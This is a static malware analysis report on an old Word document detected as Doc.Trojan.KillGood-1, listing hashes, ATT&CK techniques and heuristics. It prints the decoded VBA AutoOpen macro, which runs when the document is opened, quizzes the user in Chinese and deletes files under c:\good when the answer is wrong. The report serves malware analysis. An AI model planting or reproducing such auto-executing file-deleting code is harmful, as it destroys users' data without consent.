Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f1e1964d40a9ebbe…

MALICIOUS

Office (OLE)

27.0 KB Created: 1998-09-05 12:46:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 39ff49018b27db4d2718703a0093265d SHA-1: cea69feaec9a8142628c5bd7908c2c2db48eb8d0 SHA-256: f1e1964d40a9ebbe2ba0c870d9801fef57256a811f7415af43563d1ac2317bbf
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening a document. The macro prompts the user with a question and, depending on the input, either displays a message or attempts to delete files in 'c:\good\*.*'. This behavior suggests an attempt to trick the user or cause damage, aligning with malicious document lures. The presence of the AutoOpen macro and the potential for file deletion indicates a malicious intent, likely delivered via spearphishing.

Heuristics 4

  • ClamAV: Doc.Trojan.KillGood-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.KillGood-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 763 bytes
SHA-256: 27fec2cf893757905ede93447292e310225df4f610c6026d20dab808b8df20b2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module3"

Public Sub autoOpen()

On Error Resume Next

louis:
Err = 0
answer$ = InputBox$("讓我考考你:\在民國73年2月7日出生的我叫什麼名字呢?", "我的第一次")
If answer$ = "陳俊德" Then GoTo message Else GoTo die

message:
MsgBox "恭喜你答對了!我是協X中學的學生!"
GoTo esc

die:
MsgBox "很抱歉你答錯了，去借Windows光碟吧!"
kill "c:\good\*.*"


esc:
MsgBox "這是我第一集巨集病毒，多多指教"

End Sub

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